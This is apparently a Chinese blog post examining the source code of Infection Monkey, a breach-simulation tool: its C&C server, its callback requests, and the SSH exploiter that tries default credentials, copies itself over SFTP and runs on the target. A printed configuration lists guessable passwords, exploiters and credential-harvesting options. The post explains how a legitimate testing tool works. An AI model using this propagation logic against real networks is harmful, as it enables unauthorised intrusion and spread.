Fork me on GitHub

infection monkey源码研究

Infection Monkey是一款由以色列安全公司GuardiCore在2016黑帽大会上发布的数据中心安全检测工具,其主要用于数据中心边界及内部服务器安全性的自动化检测。该工具在架构上,则分为Monkey(扫描及漏洞利用端)以及C&C服务器(相当于reporter,但仅仅只是用于收集monkey探测的信息)

infection Monkey

nfection Monkey

对infection Monkey的源码进行了一些调研,主要分为monkey_island和monkey两部分,island的身份是c&c服务器,负责收集monkey传来的数据到数据库里;monkey负责的是感染新monkey,向c&c服务器汇总信息。

monkey_island

程序流程

入口:run.sh

1
2
3
4
5
#!/bin/bash
cd /var/monkey_island/cc
/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db &
/var/monkey_island/bin/python/bin/python main.py

这里会跳转到 /var/monkey_island/cc目录下

然后运行cc/main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if __name__ == '__main__':
print("\nin main.py")
from tornado.wsgi import WSGIContainer
from tornado.httpserver import HTTPServer
from tornado.ioloop import IOLoop
mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url())
while not is_db_server_up(mongo_url):
print('Waiting for MongoDB server')
time.sleep(1)
app = init_app(mongo_url)
if env.is_debug():
app.run(host='0.0.0.0', debug=True, ssl_context=('server.crt', 'server.key'))
else:
http_server = HTTPServer(WSGIContainer(app),
ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'),
'keyfile': os.environ.get('SERVER_KEY', 'server.key')})
http_server.listen(env.get_island_port())
print('Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
IOLoop.instance().start()

IOLoop.instance().start()一般就是放在main函数末尾的

目前的感觉:monkey island这部分是通过mongo数据库和monkey进行交流的。

monkey是怎么知道island地址的?是通过运行的时候附加的ip地址参数知道的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class ClientRun(flask_restful.Resource):
def get(self):
client_ip = request.remote_addr
if client_ip == "127.0.0.1":
monkey = NodeService.get_monkey_island_monkey()
else:
monkey = NodeService.get_monkey_by_ip(client_ip)
NodeService.update_dead_monkeys()
if monkey is not None:
is_monkey_running = not monkey["dead"]
else:
is_monkey_running = False
return jsonify(is_running=is_monkey_running)

当在island本机运行monkey时,将binaries/monkey-linux-64复制到了:/var/monkey_island/cc/

1
2
3
4
body.get('action') == 'run'
in run_local_monkey function!
('copying monkey_path:', 'binaries/monkey-linux-64', 'target_path:', '/var/monkey_island/cc/monkey-linux-64')
('run monkey:args=', [u'"/var/monkey_island/cc/monkey-linux-64" m0nk3y -s 192.168.2.136:5000'])
1
2
Config file wasn't supplied and default path: /var/monkey_island/cc/monkey.bin wasn't found, using internal default
Loaded Configuration: {'ms08_067_remote_user_add': 'Monkey_IUSER_SUPPORT', 'collect_system_info': True, 'exploit_ntlm_hash_list': [], 'monkey_log_path_linux': '/tmp/user-1563', 'alive': True, 'singleton_mutex_name': '{2384ec59-0df8-4ab9-918c-843740924a28}', 'scanner_class': 'TcpScanner', 'tcp_target_ports': [22, 2222, 445, 135, 3389, 80, 8080, 443, 8008, 3306, 9200, 80, 8080, 443, 8008], 'ping_scan_timeout': 1000, 'ms08_067_exploit_attempts': 5, 'send_log_to_server': True, 'dropper_target_path_win_64': 'C:\\Windows\\monkey64.exe', 'max_iterations': 1, 'keep_tunnel_open_time': 60, 'sambacry_shares_not_to_check': ['IPC$', 'print$'], 'kill_file_path_linux': '/var/run/monkey.not', 'serialize_config': False, 'tcp_scan_interval': 200, 'timeout_between_iterations': 100, 'HTTP_PORTS': [80, 8080, 443, 8008], 'dropper_set_date': True, 'sambacry_folder_paths_to_guess': ['/', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'], 'ms08_067_remote_user_pass': 'Password1!', 'skip_exploit_if_file_exist': False, 'self_delete_in_cleanup': False, 'retry_failed_explotation': True, 'smb_service_name': 'InfectionMonkey', 'exploit_password_list': ['Password1!', '1234', 'password', '12345678'], 'dropper_target_path_win_32': 'C:\\Windows\\monkey32.exe', 'victims_max_exploit': 7, 'exploit_user_list': ['Administrator', 'root', 'user'], 'dropper_date_reference_path_linux': '/bin/sh', 'local_network_scan': True, 'dropper_log_path_windows': '%temp%\\~df1562.tmp', 'dropper_log_path_linux': '/tmp/user-1562', 'smb_download_timeout': 300, 'rdp_use_vbs_download': True, 'extract_azure_creds': True, 'finger_classes': ['SMBFinger', 'SSHFinger', 'PingScanner', 'HTTPFinger', 'MySQLFinger', 'ElasticFinger'], 'dropper_target_path_linux': '/tmp/monkey', 'victims_max_find': 30, 'dropper_try_move_first': True, 'tcp_scan_timeout': 3000, 'dropper_date_reference_path_windows': '%windir%\\system32\\kernel32.dll', 'exploit_lm_hash_list': [], 'blocked_ips': [''], 'kill_file_path_windows': '%windir%\\monkey.not', 'exploiter_classes': ['SmbExploiter', 'WmiExploiter', 'SSHExploiter', 'ShellShockExploiter', 'SambaCryExploiter', 'ElasticGroovyExploiter'], 'command_servers': ['41.50.73.31:5000'], 'monkey_log_path_windows': '%temp%\\~df1563.tmp', 'tcp_scan_get_banner': True, 'internet_services': ['monkey.guardicore.com', 'www.google.com'], 'depth': 2, 'sambacry_trigger_timeout': 5, 'subnet_scan_list': [''], 'use_file_logging': True, 'current_server': '', 'mimikatz_dll_name': 'mk.dll'}

Config file wasn’t supplied and default path: /var/monkey_island/cc/monkey.bin wasn’t found, using internal default
Loaded Configuration….这些都不是island代码里出现过的,应该就是monkey-linux-64内置的。

对其他monkey的操作 比如 kill ,也是通过更新数据库

1
2
3
4
5
def kill_all():
mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}},
upsert=False,
multi=True)
return jsonify(status='OK')

monkey

程序流程

main.py

如果存在了配置文件,就使用他;如果不存在则使用内置的默认配置。

然后检查一下是否存在kill file,如果有的话就不运行了。

接着初始化monkey

MONKEY_ARG 则 monkey_cls = InfectionMonkey

初始化InfectionMonkey这个类:增加server地址 WormConfiguration.command_servers.insert(0, self._default_server)

然后执行monkey.start 对ControlClient进行了一些操作,monkey_tunnel = ControlClient.create_control_tunnel(),monkey_tunnel.start() 然后开始扫了

LOG

monkey_tunnel

最后还会send_log_to_server

DROPPER_ARG 则 monkey_cls = MonkeyDrops

当路径不同的时候会把文件copy/move

然后开始运行monkey

control.py

wakeup函数:

requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,),
              data=json.dumps(monkey),
              headers={'content-type': 'application/json'},
              verify=False,
              proxies=ControlClient.proxies,
              timeout=20)

find_server函数:

[10916:DEBUG] control.find_server.72: Trying to connect to server: 192.168.2.136:5000

LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers)
1
2
3
4
5
LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers)
requests.get("https://%s/api?action=is-up" % (server,),
verify=False,
proxies=ControlClient.proxies,
timeout=TIMEOUT)

send_telemetry和send_log 都是通过requests.post

load_control_config通过requests.get

send_config_error通过requests.patch

download_monkey_exe_by_filename

1
2
3
4
download = requests.get("https://%s/api/monkey/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)

这部分就和island上想在其他机器上运行monkey的话 需要执行的步骤一样的。

def download_monkey_exe_by_filename(filename, size):

class MonkeyDrops(object): 运行本地的monkey了

monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
129 stdin=None, stdout=None, stderr=None,
130 close_fds=True, creationflags=DETACHED_PROCESS)

monkey/infection_monkey/exploit/tools.py:

Create http server for file transfer with a lock

exploit/sshexec.py

exploit_host函数:

ssh = paramiko.SSHClient() paramiko实现了SSH协议,能够方便地与远程计算机交互

尝试ssh攻击 成功之后使用ssh.exec_command(‘uname -o’)获取目标主机的os,之后查看dropper_target_path_linux这个路径的moneky文件是否已经存在了,存在的话就说明这个机器已经被感染了 可以退出了。

不存在的话,就get_target_monkey查找src_path,然后ftp = ssh.open_sftp() 把src_path路径的文件传过去:

with monkeyfs.open(src_path) as file_obj:

ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
                  callback=self.log_transfer)

​ ftp.chmod(self._config.dropper_target_path_linux, 0o777)

1
2
3
4
5
6
7
8
9
10
11
12
13
putfo(fl, remotepath, file_size=0, callback=None, confirm=True)
Copy the contents of an open file object (fl) to the SFTP server as remotepath. Any exception raised by operations will be passed through.
The SFTP operations use pipelining for speed.
Parameters:
fl – opened file or file-like object to copy
remotepath (str) – the destination path on the SFTP server
file_size (int) – optional size parameter passed to callback. If none is specified, size defaults to 0
callback (callable) – optional callback function (form: func(int, int)) that accepts the bytes transferred so far and the total bytes to be transferred (since 1.7.4)
confirm (bool) – whether to do a stat() on the file afterwards to confirm the file size (since 1.7.7)
Returns:
an SFTPAttributes object containing attributes about the given file.

然后通过ssh.exec_command(cmdline)在被感染机器运行monkey

-------------本文结束感谢您的阅读-------------